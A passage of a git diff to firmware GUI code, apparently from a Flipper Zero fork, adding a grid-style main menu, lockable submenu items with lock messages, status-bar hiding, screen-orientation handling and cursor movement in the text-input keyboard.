x -= width / 2; + } + if(ellipsis) { width -= canvas_string_width(canvas, "..."); } @@ -592,7 +598,7 @@ void elements_scrollable_text_line( // Calculate scroll size size_t scroll_size = furi_string_size(line); size_t right_width = 0; - for(size_t i = scroll_size; i > 0; i--) { + for(size_t i = scroll_size - 1; i > 0; i--) { right_width += canvas_glyph_width(canvas, furi_string_get_char(line, i)); if(right_width > width) break; scroll_size--; @@ -616,7 +622,12 @@ void elements_scrollable_text_line( } } - canvas_draw_str(canvas, x, y, furi_string_get_cstr(line)); + if(centered) { + canvas_draw_str_aligned( + canvas, x, y, AlignCenter, AlignBottom, furi_string_get_cstr(line)); + } else { + canvas_draw_str(canvas, x, y, furi_string_get_cstr(line)); + } furi_string_free(line); } diff --git a/applications/services/gui/elements.h b/applications/services/gui/elements.h index 04ca357b8..00bffc9a6 100644 --- a/applications/services/gui/elements.h +++ b/applications/services/gui/elements.h @@ -218,6 +218,7 @@ void elements_string_fit_width(Canvas* canvas, FuriString* string, uint8_t width * @param string The string * @param[in] scroll The scroll counter: 0 - no scroll, any other number - scroll. Just count up, everything else will be calculated on the inside. * @param[in] ellipsis The ellipsis flag: true to add ellipse + * @param[in] centered The centered flag: true to center text on x and y */ void elements_scrollable_text_line( Canvas* canvas, @@ -226,7 +227,8 @@ void elements_scrollable_text_line( uint8_t width, FuriString* string, size_t scroll, - bool ellipsis); + bool ellipsis, + bool centered); /** Draw text box element * diff --git a/applications/services/gui/gui.c b/applications/services/gui/gui.c index 835bca2c8..dd1291890 100644 --- a/applications/services/gui/gui.c +++ b/applications/services/gui/gui.c @@ -47,11 +47,18 @@ static bool gui_redraw_fs(Gui* gui) { } static void gui_redraw_status_bar(Gui* gui, bool need_attention) { + if(gui->hide_statusbar_count > 0) return; ViewPortArray_it_t it; uint8_t left_used = 0; uint8_t right_used = 0; uint8_t width; - canvas_set_orientation(gui->canvas, CanvasOrientationHorizontal); + + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagHandOrient)) { + canvas_set_orientation(gui->canvas, CanvasOrientationHorizontalFlip); + } else { + canvas_set_orientation(gui->canvas, CanvasOrientationHorizontal); + } + canvas_frame_set( gui->canvas, GUI_STATUS_BAR_X, GUI_STATUS_BAR_Y, GUI_DISPLAY_WIDTH, GUI_STATUS_BAR_HEIGHT); @@ -262,7 +269,9 @@ static void gui_redraw(Gui* gui) { bool need_attention = (gui_view_port_find_enabled(gui->layers[GuiLayerWindow]) != 0 || gui_view_port_find_enabled(gui->layers[GuiLayerFullscreen]) != 0); - gui_redraw_status_bar(gui, need_attention); + if(XTREME_SETTINGS()->lockscreen_statusbar) { + gui_redraw_status_bar(gui, need_attention); + } } else { if(!gui_redraw_fs(gui)) { if(!gui_redraw_window(gui)) { @@ -278,6 +287,7 @@ static void gui_redraw(Gui* gui) { p->callback( canvas_get_buffer(gui->canvas), canvas_get_buffer_size(gui->canvas), + canvas_get_orientation(gui->canvas), p->context); } } while(false); @@ -506,6 +516,21 @@ size_t gui_get_framebuffer_size(const Gui* gui) { return canvas_get_buffer_size(gui->canvas); } +void gui_set_hide_statusbar(Gui* gui, bool hidden) { + furi_assert(gui); + + gui_lock(gui); + if(hidden) { + gui->hide_statusbar_count++; + } else { + gui->hide_statusbar_count--; + } + gui_unlock(gui); + + // Request redraw + gui_update(gui); +} + void gui_set_lockdown(Gui* gui, bool lockdown) { furi_assert(gui); diff --git a/applications/services/gui/gui.h b/applications/services/gui/gui.h index d7d73f27b..7e48b1602 100644 --- a/applications/services/gui/gui.h +++ b/applications/services/gui/gui.h @@ -27,7 +27,11 @@ typedef enum { } GuiLayer; /** Gui Canvas Commit Callback */ -typedef void (*GuiCanvasCommitCallback)(uint8_t* data, size_t size, void* context); +typedef void (*GuiCanvasCommitCallback)( + uint8_t* data, + size_t size, + CanvasOrientation orientation, + void* context); #define RECORD_GUI "gui" @@ -96,6 +100,15 @@ void gui_remove_framebuffer_callback(Gui* gui, GuiCanvasCommitCallback callback, */ size_t gui_get_framebuffer_size(const Gui* gui); +/** Set hidden statusbar + * + * Hide the statusbar (stacks if called multiple times). + * + * @param gui Gui instance + * @param hinned bool, true if hidden + */ +void gui_set_hide_statusbar(Gui* gui, bool hidden); + /** Set lockdown mode * * When lockdown mode is enabled, only GuiLayerDesktop is shown. diff --git a/applications/services/gui/gui_i.h b/applications/services/gui/gui_i.h index 45061bd58..4cd8df313 100644 --- a/applications/services/gui/gui_i.h +++ b/applications/services/gui/gui_i.h @@ -8,6 +8,7 @@ #include "gui.h" #include +#include #include #include #include @@ -61,6 +62,7 @@ struct Gui { FuriMutex* mutex; // Layers and Canvas + uint16_t hide_statusbar_count; bool lockdown; bool direct_draw; ViewPortArray_t layers[GuiLayerMAX]; diff --git a/applications/services/gui/modules/file_browser.c b/applications/services/gui/modules/file_browser.c index 841afda50..8affe8330 100644 --- a/applications/services/gui/modules/file_browser.c +++ b/applications/services/gui/modules/file_browser.c @@ -22,8 +22,6 @@ #define ITEM_LIST_LEN_MAX 50 -#define CUSTOM_ICON_MAX_SIZE 32 - #define SCROLL_INTERVAL (333) #define SCROLL_DELAY (2) @@ -100,7 +98,7 @@ static int BrowserItem_t_cmp(const BrowserItem_t* a, const BrowserItem_t* b) { } } - return furi_string_cmpi(a->path, b->path); + return furi_string_cmpi(a->display_name, b->display_name); } #define M_OPL_BrowserItem_t() \ @@ -604,7 +602,8 @@ static void browser_draw_list(Canvas* canvas, FileBrowserModel* model) { (show_scrollbar ? MAX_LEN_PX - 6 : MAX_LEN_PX), filename, scroll_counter, - (model->item_idx != idx)); + (model->item_idx != idx), + false); } if(show_scrollbar) { diff --git a/applications/services/gui/modules/file_browser.h b/applications/services/gui/modules/file_browser.h index 879d62c4e..e8e9228f7 100644 --- a/applications/services/gui/modules/file_browser.h +++ b/applications/services/gui/modules/file_browser.h @@ -11,6 +11,8 @@ extern "C" { #endif +#define CUSTOM_ICON_MAX_SIZE 32 + typedef struct FileBrowser FileBrowser; typedef void (*FileBrowserCallback)(void* context); diff --git a/applications/services/gui/modules/menu.c b/applications/services/gui/modules/menu.c index 3e3b6c2e4..d259caaba 100644 --- a/applications/services/gui/modules/menu.c +++ b/applications/services/gui/modules/menu.c @@ -2,11 +2,16 @@ #include #include +#include +#include #include #include +#include +#include struct Menu { View* view; + FuriTimer* scroll_timer; }; typedef struct { @@ -24,10 +29,13 @@ ARRAY_DEF(MenuItemArray, MenuItem, M_POD_OPLIST); typedef struct { MenuItemArray_t items; size_t position; + size_t scroll_counter; } MenuModel; static void menu_process_up(Menu* menu); static void menu_process_down(Menu* menu); +static void menu_process_left(Menu* menu); +static void menu_process_right(Menu* menu); static void menu_process_ok(Menu* menu); static void menu_draw_callback(Canvas* canvas, void* _model) { @@ -39,34 +47,107 @@ static void menu_draw_callback(Canvas* canvas, void* _model) { size_t items_count = MenuItemArray_size(model->items); if(items_count) { MenuItem* item; + FuriString* name = furi_string_alloc(); size_t shift_position; - // First line - canvas_set_font(canvas, FontSecondary); - shift_position = (0 + position + items_count - 1) % items_count; - item = MenuItemArray_get(model->items, shift_position); - if(item->icon) { - canvas_draw_icon_animation(canvas, 4, 3, item->icon); + if(XTREME_SETTINGS()->wii_menu) { + if(position < 2) { + shift_position = 0; + } else if(position >= items_count - 2 + (items_count % 2)) { + shift_position = position - (position % 2) - 4; + } else { + shift_position = position - (position % 2) - 2; + } + canvas_set_font(canvas, FontSecondary); + size_t item_i; + size_t x_off, y_off; + for(int i = 0; i < 6; i++) { + item_i = shift_position + i; + if(item_i >= items_count) continue; + x_off = (i / 2) * 43 + 1; + y_off = (i % 2) * 32; + size_t scroll_counter = 0; + if(item_i == position) { + elements_slightly_rounded_box(canvas, 0 + x_off, 0 + y_off, 40, 30); + canvas_set_color(canvas, ColorWhite); + scroll_counter = model->scroll_counter; + if(scroll_counter < 1) { + scroll_counter = 0; + } else { + scroll_counter -= 1; + } + } + item = MenuItemArray_get(model->items, item_i); + if(item->icon) { + canvas_draw_icon_animation( + canvas, + (40 - item->icon->icon->width) / 2 + x_off, + (20 - item->icon->icon->height) / 2 + y_off, + item->icon); + } + furi_string_set(name, item->label); + if(furi_string_start_with_str(name, "[")) { + size_t trim = furi_string_search_str(name, "] ", 1); + if(trim != STRING_FAILURE) { + furi_string_right(name, trim + 2); + } + } + elements_scrollable_text_line( + canvas, 20 + x_off, 26 + y_off, 36, name, scroll_counter, false, true); + if(item_i == position) { + canvas_set_color(canvas, ColorBlack); + } else { + elements_frame(canvas, 0 + x_off, 0 + y_off, 40, 30); + } + } + } else { + // First line + canvas_set_font(canvas, FontSecondary); + shift_position = (0 + position + items_count - 1) % items_count; + item = MenuItemArray_get(model->items, shift_position); + if(item->icon) { + canvas_draw_icon_animation( + canvas, + 4 + (14 - item->icon->icon->width) / 2, + 3 + (14 - item->icon->icon->height) / 2, + item->icon); + } + canvas_draw_str(canvas, 22, 14, item->label); + // Second line main + canvas_set_font(canvas, FontPrimary); + shift_position = (1 + position + items_count - 1) % items_count; + item = MenuItemArray_get(model->items, shift_position); + if(item->icon) { + canvas_draw_icon_animation( + canvas, + 4 + (14 - item->icon->icon->width) / 2, + 25 + (14 - item->icon->icon->height) / 2, + item->icon); + } + size_t scroll_counter = model->scroll_counter; + if(scroll_counter < 1) { + scroll_counter = 0; + } else { + scroll_counter -= 1; + } + furi_string_set(name, item->label); + elements_scrollable_text_line(canvas, 22, 36, 98, name, scroll_counter, false, false); + // Third line + canvas_set_font(canvas, FontSecondary); + shift_position = (2 + position + items_count - 1) % items_count; + item = MenuItemArray_get(model->items, shift_position); + if(item->icon) { + canvas_draw_icon_animation( + canvas, + 4 + (14 - item->icon->icon->width) / 2, + 47 + (14 - item->icon->icon->height) / 2, + item->icon); + } + canvas_draw_str(canvas, 22, 58, item->label); + // Frame and scrollbar + elements_frame(canvas, 0, 21, 128 - 5, 21); + elements_scrollbar(canvas, position, items_count); } - canvas_draw_str(canvas, 22, 14, item->label); - // Second line main - canvas_set_font(canvas, FontPrimary); - shift_position = (1 + position + items_count - 1) % items_count; - item = MenuItemArray_get(model->items, shift_position); - if(item->icon) { - canvas_draw_icon_animation(canvas, 4, 25, item->icon); - } - canvas_draw_str(canvas, 22, 36, item->label); - // Third line - canvas_set_font(canvas, FontSecondary); - shift_position = (2 + position + items_count - 1) % items_count; - item = MenuItemArray_get(model->items, shift_position); - if(item->icon) { - canvas_draw_icon_animation(canvas, 4, 47, item->icon); - } - canvas_draw_str(canvas, 22, 58, item->label); - // Frame and scrollbar - elements_frame(canvas, 0, 21, 128 - 5, 21); - elements_scrollbar(canvas, position, items_count); + furi_string_free(name); } else { canvas_draw_str(canvas, 2, 32, "Empty"); elements_scrollbar(canvas, 0, 0); @@ -78,29 +159,62 @@ static bool menu_input_callback(InputEvent* event, void* context) { bool consumed = false; if(event->type == InputTypeShort) { - if(event->key == InputKeyUp) { + switch(event->key) { + case InputKeyUp: consumed = true; menu_process_up(menu); - } else if(event->key == InputKeyDown) { + break; + case InputKeyDown: consumed = true; menu_process_down(menu); - } else if(event->key == InputKeyOk) { + break; + case InputKeyLeft: + consumed = true; + menu_process_left(menu); + break; + case InputKeyRight: + consumed = true; + menu_process_right(menu); + break; + case InputKeyOk: consumed = true; menu_process_ok(menu); + break; + default: + break; } } else if(event->type == InputTypeRepeat) { - if(event->key == InputKeyUp) { + switch(event->key) { + case InputKeyUp: consumed = true; menu_process_up(menu); - } else if(event->key == InputKeyDown) { + break; + case InputKeyDown: consumed = true; menu_process_down(menu); + break; + case InputKeyLeft: + consumed = true; + menu_process_left(menu); + break; + case InputKeyRight: + consumed = true; + menu_process_right(menu); + break; + default: + break; } } return consumed; } +static void menu_scroll_timer_callback(void* context) { + Menu* menu = context; + with_view_model( + menu->view, MenuModel * model, { model->scroll_counter++; }, true); +} + static void menu_enter(void* context) { Menu* menu = context; with_view_model( @@ -111,8 +225,10 @@ static void menu_enter(void* context) { if(item && item->icon) { icon_animation_start(item->icon); } + model->scroll_counter = 0; }, - false); + true); + furi_timer_start(menu->scroll_timer, 333); } static void menu_exit(void* context) { @@ -127,6 +243,7 @@ static void menu_exit(void* context) { } }, false); + furi_timer_stop(menu->scroll_timer); } Menu* menu_alloc() { @@ -139,6 +256,8 @@ Menu* menu_alloc() { view_set_enter_callback(menu->view, menu_enter); view_set_exit_callback(menu->view, menu_exit); + menu->scroll_timer = furi_timer_alloc(menu_scroll_timer_callback, FuriTimerTypePeriodic, menu); + with_view_model( menu->view, MenuModel * model, @@ -155,6 +274,7 @@ void menu_free(Menu* menu) { furi_assert(menu); menu_reset(menu); view_free(menu->view); + furi_timer_free(menu->scroll_timer); free(menu); } @@ -224,15 +344,27 @@ static void menu_process_up(Menu* menu) { menu->view, MenuModel * model, { + size_t count = MenuItemArray_size(model->items); MenuItem* item = MenuItemArray_get(model->items, model->position); if(item && item->icon) { icon_animation_stop(item->icon); } - if(model->position > 0) { - model->position--; + if(XTREME_SETTINGS()->wii_menu) { + if(!(model->position == count - 1 && count % 2)) { + if(model->position % 2) { + model->position--; + } else { + model->position++; + } + model->scroll_counter = 0; + } } else { - model->position = MenuItemArray_size(model->items) - 1; + if(model->position > 0) { + model->position--; + } else { + model->position = count - 1; + } } item = MenuItemArray_get(model->items, model->position); @@ -248,15 +380,27 @@ static void menu_process_down(Menu* menu) { menu->view, MenuModel * model, { + size_t count = MenuItemArray_size(model->items); MenuItem* item = MenuItemArray_get(model->items, model->position); if(item && item->icon) { icon_animation_stop(item->icon); } - if(model->position < MenuItemArray_size(model->items) - 1) { - model->position++; + if(XTREME_SETTINGS()->wii_menu) { + if(!(model->position == count - 1 && count % 2)) { + if(model->position % 2) { + model->position--; + } else { + model->position++; + } + model->scroll_counter = 0; + } } else { - model->position = 0; + if(model->position < count - 1) { + model->position++; + } else { + model->position = 0; + } } item = MenuItemArray_get(model->items, model->position); @@ -267,6 +411,73 @@ static void menu_process_down(Menu* menu) { true); } +static void menu_process_left(Menu* menu) { + if(!XTREME_SETTINGS()->wii_menu) return; + with_view_model( + menu->view, + MenuModel * model, + { + MenuItem* item = MenuItemArray_get(model->items, model->position); + if(item && item->icon) { + icon_animation_stop(item->icon); + } + + size_t count = MenuItemArray_size(model->items); + if(model->position < 2) { + if(count % 2) { + model->position = count - 1; + } else { + model->position = count - 2 + model->position % 2; + } + } else { + model->position -= 2; + } + model->scroll_counter = 0; + + item = MenuItemArray_get(model->items, model->position); + if(item && item->icon) { + icon_animation_start(item->icon); + } + }, + true); +} + +static void menu_process_right(Menu* menu) { + if(!XTREME_SETTINGS()->wii_menu) return; + with_view_model( + menu->view, + MenuModel * model, + { + MenuItem* item = MenuItemArray_get(model->items, model->position); + if(item && item->icon) { + icon_animation_stop(item->icon); + } + + size_t count = MenuItemArray_size(model->items); + if(count % 2) { + if(model->position == count - 1) { + model->position = 0; + } else if(model->position == count - 2) { + model->position = count - 1; + } else { + model->position += 2; + } + } else { + model->position += 2; + if(model->position >= count) { + model->position = model->position % 2; + } + } + model->scroll_counter = 0; + + item = MenuItemArray_get(model->items, model->position); + if(item && item->icon) { + icon_animation_start(item->icon); + } + }, + true); +} + static void menu_process_ok(Menu* menu) { MenuItem* item = NULL; with_view_model( diff --git a/applications/services/gui/modules/submenu.c b/applications/services/gui/modules/submenu.c index 17dc8aa29..5f47ac179 100644 --- a/applications/services/gui/modules/submenu.c +++ b/applications/services/gui/modules/submenu.c @@ -1,12 +1,14 @@ #include "submenu.h" #include +#include #include #include #include struct Submenu { View* view; + FuriTimer* locked_timer; }; typedef struct { @@ -14,6 +16,8 @@ typedef struct { uint32_t index; SubmenuItemCallback callback; void* callback_context; + bool locked; + FuriString* locked_message; } SubmenuItem; static void SubmenuItem_init(SubmenuItem* item) { @@ -21,6 +25,8 @@ static void SubmenuItem_init(SubmenuItem* item) { item->index = 0; item->callback = NULL; item->callback_context = NULL; + item->locked = false; + item->locked_message = furi_string_alloc(); } static void SubmenuItem_init_set(SubmenuItem* item, const SubmenuItem* src) { @@ -28,6 +34,8 @@ static void SubmenuItem_init_set(SubmenuItem* item, const SubmenuItem* src) { item->index = src->index; item->callback = src->callback; item->callback_context = src->callback_context; + item->locked = src->locked; + item->locked_message = furi_string_alloc_set(src->locked_message); } static void SubmenuItem_set(SubmenuItem* item, const SubmenuItem* src) { @@ -35,10 +43,13 @@ static void SubmenuItem_set(SubmenuItem* item, const SubmenuItem* src) { item->index = src->index; item->callback = src->callback; item->callback_context = src->callback_context; + item->locked = src->locked; + furi_string_set(item->locked_message, src->locked_message); } static void SubmenuItem_clear(SubmenuItem* item) { furi_string_free(item->label); + furi_string_free(item->locked_message); } ARRAY_DEF( @@ -54,6 +65,7 @@ typedef struct { FuriString* header; size_t position; size_t window_position; + bool locked_message_visible; } SubmenuModel; static void submenu_process_up(Submenu* submenu); @@ -102,9 +114,18 @@ static void submenu_view_draw_callback(Canvas* canvas, void* _model) { canvas_set_color(canvas, ColorBlack); } + if(SubmenuItemArray_cref(it)->locked) { + canvas_draw_icon( + canvas, + 110, + y_offset + (item_position * item_height) + item_height - 12, + &I_Lock_7x8); + } + FuriString* disp_str; disp_str = furi_string_alloc_set(SubmenuItemArray_cref(it)->label); - elements_string_fit_width(canvas, disp_str, item_width - 20); + elements_string_fit_width( + canvas, disp_str, item_width - (SubmenuItemArray_cref(it)->locked ? 25 : 11)); canvas_draw_str( canvas, @@ -119,6 +140,23 @@ static void submenu_view_draw_callback(Canvas* canvas, void* _model) { } elements_scrollbar(canvas, model->position, SubmenuItemArray_size(model->items)); + + if(model->locked_message_visible) { + canvas_set_color(canvas, ColorWhite); + canvas_draw_box(canvas, 8, 10, 110, 48); + canvas_set_color(canvas, ColorBlack); + canvas_draw_icon(canvas, 10, 14, &I_WarningDolphin_45x42); + canvas_draw_rframe(canvas, 8, 8, 112, 50, 3); + canvas_draw_rframe(canvas, 9, 9, 110, 48, 2); + elements_multiline_text_aligned( + canvas, + 84, + 32, + AlignCenter, + AlignCenter, + furi_string_get_cstr( + SubmenuItemArray_get(model->items, model->position)->locked_message)); + } } static bool submenu_view_input_callback(InputEvent* event, void* context) { @@ -126,7 +164,19 @@ static bool submenu_view_input_callback(InputEvent* event, void* context) { furi_assert(submenu); bool consumed = false; - if(event->type == InputTypeShort) { + bool locked_message_visible = false; + with_view_model( + submenu->view, + SubmenuModel * model, + { locked_message_visible = model->locked_message_visible; }, + false); + + if((!(event->type == InputTypePress) && !(event->type == InputTypeRelease)) && + locked_message_visible) { + with_view_model( + submenu->view, SubmenuModel * model, { model->locked_message_visible = false; }, true); + consumed = true; + } else if(event->type == InputTypeShort) { switch(event->key) { case InputKeyUp: consumed = true; @@ -156,6 +206,14 @@ static bool submenu_view_input_callback(InputEvent* event, void* context) { return consumed; } +void submenu_timer_callback(void* context) { + furi_assert(context); + Submenu* submenu = context; + + with_view_model( + submenu->view, SubmenuModel * model, { model->locked_message_visible = false; }, true); +} + Submenu* submenu_alloc() { Submenu* submenu = malloc(sizeof(Submenu)); submenu->view = view_alloc(); @@ -164,6 +222,8 @@ Submenu* submenu_alloc() { view_set_draw_callback(submenu->view, submenu_view_draw_callback); view_set_input_callback(submenu->view, submenu_view_input_callback); + submenu->locked_timer = furi_timer_alloc(submenu_timer_callback, FuriTimerTypeOnce, submenu); + with_view_model( submenu->view, SubmenuModel * model, @@ -189,6 +249,8 @@ void submenu_free(Submenu* submenu) { SubmenuItemArray_clear(model->items); }, true); + furi_timer_stop(submenu->locked_timer); + furi_timer_free(submenu->locked_timer); view_free(submenu->view); free(submenu); } @@ -204,9 +266,23 @@ void submenu_add_item( uint32_t index, SubmenuItemCallback callback, void* callback_context) { + submenu_add_lockable_item(submenu, label, index, callback, callback_context, false, NULL); +} + +void submenu_add_lockable_item( + Submenu* submenu, + const char* label, + uint32_t index, + SubmenuItemCallback callback, + void* callback_context, + bool locked, + const char* locked_message) { SubmenuItem* item = NULL; furi_assert(label); furi_assert(submenu); + if(locked) { + furi_assert(locked_message); + } with_view_model( submenu->view, @@ -217,6 +293,10 @@ void submenu_add_item( item->index = index; item->callback = callback; item->callback_context = callback_context; + item->locked = locked; + if(locked) { + furi_string_set_str(item->locked_message, locked_message); + } }, true); } @@ -334,10 +414,14 @@ void submenu_process_ok(Submenu* submenu) { if(model->position < items_size) { item = SubmenuItemArray_get(model->items, model->position); } + if(item && item->locked) { + model->locked_message_visible = true; + furi_timer_start(submenu->locked_timer, furi_kernel_get_tick_frequency() * 3); + } }, true); - if(item && item->callback) { + if(item && !item->locked && item->callback) { item->callback(item->callback_context, item->index); } } diff --git a/applications/services/gui/modules/submenu.h b/applications/services/gui/modules/submenu.h index f68abe83a..e7252eb33 100644 --- a/applications/services/gui/modules/submenu.h +++ b/applications/services/gui/modules/submenu.h @@ -53,6 +53,26 @@ void submenu_add_item( SubmenuItemCallback callback, void* callback_context); +/** Add lockable item to submenu + * + * @param submenu Submenu instance + * @param label menu item label + * @param index menu item index, used for callback, may be + * the same with other items + * @param callback menu item callback + * @param callback_context menu item callback context + * @param locked menu item locked status + * @param locked_message menu item locked message + */ +void submenu_add_lockable_item( + Submenu* submenu, + const char* label, + uint32_t index, + SubmenuItemCallback callback, + void* callback_context, + bool locked, + const char* locked_message); + /** Remove all items from submenu * * @param submenu Submenu instance diff --git a/applications/services/gui/modules/text_input.c b/applications/services/gui/modules/text_input.c index f39adcd9c..619c1da11 100644 --- a/applications/services/gui/modules/text_input.c +++ b/applications/services/gui/modules/text_input.c @@ -24,6 +24,10 @@ typedef struct { char* text_buffer; size_t text_buffer_size; bool clear_default_text; + FuriString* temp_str; + + bool cursor_select; + size_t cursor_pos; TextInputCallback callback; void* callback_context; @@ -241,9 +245,13 @@ static char char_to_uppercase(const char letter) { } static void text_input_backspace_cb(TextInputModel* model) { - uint8_t text_length = model->clear_default_text ? 1 : strlen(model->text_buffer); - if(text_length > 0) { - model->text_buffer[text_length - 1] = 0; + if(model->clear_default_text) { + model->text_buffer[0] = 0; + } else if(model->cursor_pos > 0) { + furi_string_set_str(model->temp_str, model->text_buffer); + furi_string_replace_at(model->temp_str, model->cursor_pos - 1, 1, ""); + model->cursor_pos--; + strcpy(model->text_buffer, furi_string_get_cstr(model->temp_str)); } } @@ -253,33 +261,49 @@ static void text_input_view_draw_callback(Canvas* canvas, void* _model) { uint8_t needed_string_width = canvas_width(canvas) - 8; uint8_t start_pos = 4; - const char* text = model->text_buffer; - canvas_clear(canvas); canvas_set_color(canvas, ColorBlack); canvas_draw_str(canvas, 2, 8, model->header); elements_slightly_rounded_frame(canvas, 1, 12, 126, 15); - if(canvas_string_width(canvas, text) > needed_string_width) { - canvas_draw_str(canvas, start_pos, 22, "..."); - start_pos += 6; - needed_string_width -= 8; - } - - while(text != 0 && canvas_string_width(canvas, text) > needed_string_width) { - text++; + FuriString* str = model->temp_str; + if(model->text_buffer) { + furi_string_set_str(str, model->text_buffer); + } else { + furi_string_reset(str); } + const char* cstr = furi_string_get_cstr(str); if(model->clear_default_text) { elements_slightly_rounded_box( - canvas, start_pos - 1, 14, canvas_string_width(canvas, text) + 2, 10); + canvas, start_pos - 1, 14, canvas_string_width(canvas, cstr) + 2, 10); canvas_set_color(canvas, ColorWhite); } else { - canvas_draw_str(canvas, start_pos + canvas_string_width(canvas, text) + 1, 22, "|"); - canvas_draw_str(canvas, start_pos + canvas_string_width(canvas, text) + 2, 22, "|"); + furi_string_replace_at(str, model->cursor_pos, 0, "|"); } - canvas_draw_str(canvas, start_pos, 22, text); + + if(model->cursor_pos > 0 && canvas_string_width(canvas, cstr) > needed_string_width) { + canvas_draw_str(canvas, start_pos, 22, "..."); + start_pos += 6; + needed_string_width -= 8; + for(uint off = 0; + !furi_string_empty(str) && canvas_string_width(canvas, cstr) > needed_string_width && + off < model->cursor_pos; + off++) { + furi_string_right(str, 1); + } + } + + if(canvas_string_width(canvas, cstr) > needed_string_width) { + needed_string_width -= 4; + while(!furi_string_empty(str) && canvas_string_width(canvas, cstr) > needed_string_width) { + furi_string_left(str, furi_string_size(str) - 1); + } + furi_string_cat_str(str, "..."); + } + + canvas_draw_str(canvas, start_pos, 22, cstr); canvas_set_font(canvas, FontKeyboard); @@ -288,54 +312,25 @@ static void text_input_view_draw_callback(Canvas* canvas, void* _model) { const TextInputKey* keys = get_row(keyboards[model->selected_keyboard], row); for(size_t column = 0; column < column_count; column++) { + bool selected = !model->cursor_select && model->selected_row == row && + model->selected_column == column; + const Icon* icon = NULL; if(keys[column].text == ENTER_KEY) { - canvas_set_color(canvas, ColorBlack); - if(model->selected_row == row && model->selected_column == column) { - canvas_draw_icon( - canvas, - keyboard_origin_x + keys[column].x, - keyboard_origin_y + keys[column].y, - &I_KeySaveSelected_24x11); - } else { - canvas_draw_icon( - canvas, - keyboard_origin_x + keys[column].x, - keyboard_origin_y + keys[column].y, - &I_KeySave_24x11); - } + icon = selected ? &I_KeySaveSelected_24x11 : &I_KeySave_24x11; } else if(keys[column].text == SWITCH_KEYBOARD_KEY) { - canvas_set_color(canvas, ColorBlack); - if(model->selected_row == row && model->selected_column == column) { - canvas_draw_icon( - canvas, - keyboard_origin_x + keys[column].x, - keyboard_origin_y + keys[column].y, - &I_KeyKeyboardSelected_10x11); - } else { - canvas_draw_icon( - canvas, - keyboard_origin_x + keys[column].x, - keyboard_origin_y + keys[column].y, - &I_KeyKeyboard_10x11); - } + icon = selected ? &I_KeyKeyboardSelected_10x11 : &I_KeyKeyboard_10x11; } else if(keys[column].text == BACKSPACE_KEY) { - canvas_set_color(canvas, ColorBlack); - if(model->selected_row == row && model->selected_column == column) { - canvas_draw_icon( - canvas, - keyboard_origin_x + keys[column].x, - keyboard_origin_y + keys[column].y, - &I_KeyBackspaceSelected_16x9); - } else { - canvas_draw_icon( - canvas, - keyboard_origin_x + keys[column].x, - keyboard_origin_y + keys[column].y, - &I_KeyBackspace_16x9); - } + icon = selected ? &I_KeyBackspaceSelected_16x9 : &I_KeyBackspace_16x9; + } + canvas_set_color(canvas, ColorBlack); + if(icon != NULL) { + canvas_draw_icon( + canvas, + keyboard_origin_x + keys[column].x, + keyboard_origin_y + keys[column].y, + icon); } else { - if(model->selected_row == row && model->selected_column == column) { - canvas_set_color(canvas, ColorBlack); + if(selected) { canvas_draw_box( canvas, keyboard_origin_x + keys[column].x - 1, @@ -343,8 +338,6 @@ static void text_input_view_draw_callback(Canvas* canvas, void* _model) { 7, 10); canvas_set_color(canvas, ColorWhite); - } else { - canvas_set_color(canvas, ColorBlack); } if(model->clear_default_text || text_length == 0) { @@ -381,18 +374,25 @@ static void text_input_handle_up(TextInput* text_input, TextInputModel* model) { if(model->selected_row > 0) { model->selected_row--; if(model->selected_column > - get_row_size(keyboards[model->selected_keyboard], model->selected_row) - 6) { + get_row_size(keyboards[model->selected_keyboard], model->selected_row) - 6 && + model->selected_row == 0) { model->selected_column = model->selected_column + 1; } + } else { + model->cursor_select = true; + model->clear_default_text = false; } } static void text_input_handle_down(TextInput* text_input, TextInputModel* model) { UNUSED(text_input); - if(model->selected_row < keyboard_row_count - 1) { + if(model->cursor_select) { + model->cursor_select = false; + } else if(model->selected_row < keyboard_row_count - 1) { model->selected_row++; if(model->selected_column > - get_row_size(keyboards[model->selected_keyboard], model->selected_row) - 4) { + get_row_size(keyboards[model->selected_keyboard], model->selected_row) - 4 && + model->selected_row == 1) { model->selected_column = model->selected_column - 1; } } @@ -400,7 +400,11 @@ static void text_input_handle_down(TextInput* text_input, TextInputModel* model) static void text_input_handle_left(TextInput* text_input, TextInputModel* model) { UNUSED(text_input); - if(model->selected_column > 0) { + if(model->cursor_select) { + if(model->cursor_pos > 0) { + model->cursor_pos = CLAMP(model->cursor_pos - 1, strlen(model->text_buffer), 0u); + } + } else if(model->selected_column > 0) { model->selected_column--; } else { model->selected_column = @@ -410,8 +414,11 @@ static void text_input_handle_left(TextInput* text_input, TextInputModel* model) static void text_input_handle_right(TextInput* text_input, TextInputModel* model) { UNUSED(text_input); - if(model->selected_column < - get_row_size(keyboards[model->selected_keyboard], model->selected_row) - 1) { + if(model->cursor_select) { + model->cursor_pos = CLAMP(model->cursor_pos + 1, strlen(model->text_buffer), 0u); + } else if( + model->selected_column < + get_row_size(keyboards[model->selected_keyboard], model->selected_row) - 1) { model->selected_column++; } else { model->selected_column = 0; @@ -419,6 +426,7 @@ static void text_input_handle_right(TextInput* text_input, TextInputModel* model } static void text_input_handle_ok(TextInput* text_input, TextInputModel* model, InputType type) { + if(model->cursor_select) return; bool shift = type == InputTypeLong; bool repeat = type == InputTypeRepeat; char selected = get_selected_char(model); @@ -446,8 +454,15 @@ static void text_input_handle_ok(TextInput* text_input, TextInputModel* model, I if(shift != (text_length == 0)) { selected = char_to_uppercase(selected); } - model->text_buffer[text_length] = selected; - model->text_buffer[text_length + 1] = 0; + if(model->clear_default_text) { + furi_string_set_str(model->temp_str, &selected); + model->cursor_pos = 1; + } else { + furi_string_set_str(model->temp_str, model->text_buffer); + furi_string_replace_at(model->temp_str, model->cursor_pos, 0, &selected); + model->cursor_pos++; + } + strcpy(model->text_buffer, furi_string_get_cstr(model->temp_str)); } } model->clear_default_text = false; @@ -571,7 +586,10 @@ TextInput* text_input_alloc() { with_view_model( text_input->view, TextInputModel * model, - { model->validator_text = furi_string_alloc(); }, + { + model->validator_text = furi_string_alloc(); + model->temp_str = furi_string_alloc(); + }, false); text_input_reset(text_input); @@ -584,7 +602,10 @@ void text_input_free(TextInput* text_input) { with_view_model( text_input->view, TextInputModel * model, - { furi_string_free(model->validator_text); }, + { + furi_string_free(model->validator_text); + furi_string_free(model->temp_str); + }, false); // Send stop command @@ -608,6 +629,8 @@ void text_input_reset(TextInput* text_input) { model->selected_column = 0; model->selected_keyboard = 0; model->clear_default_text = false; 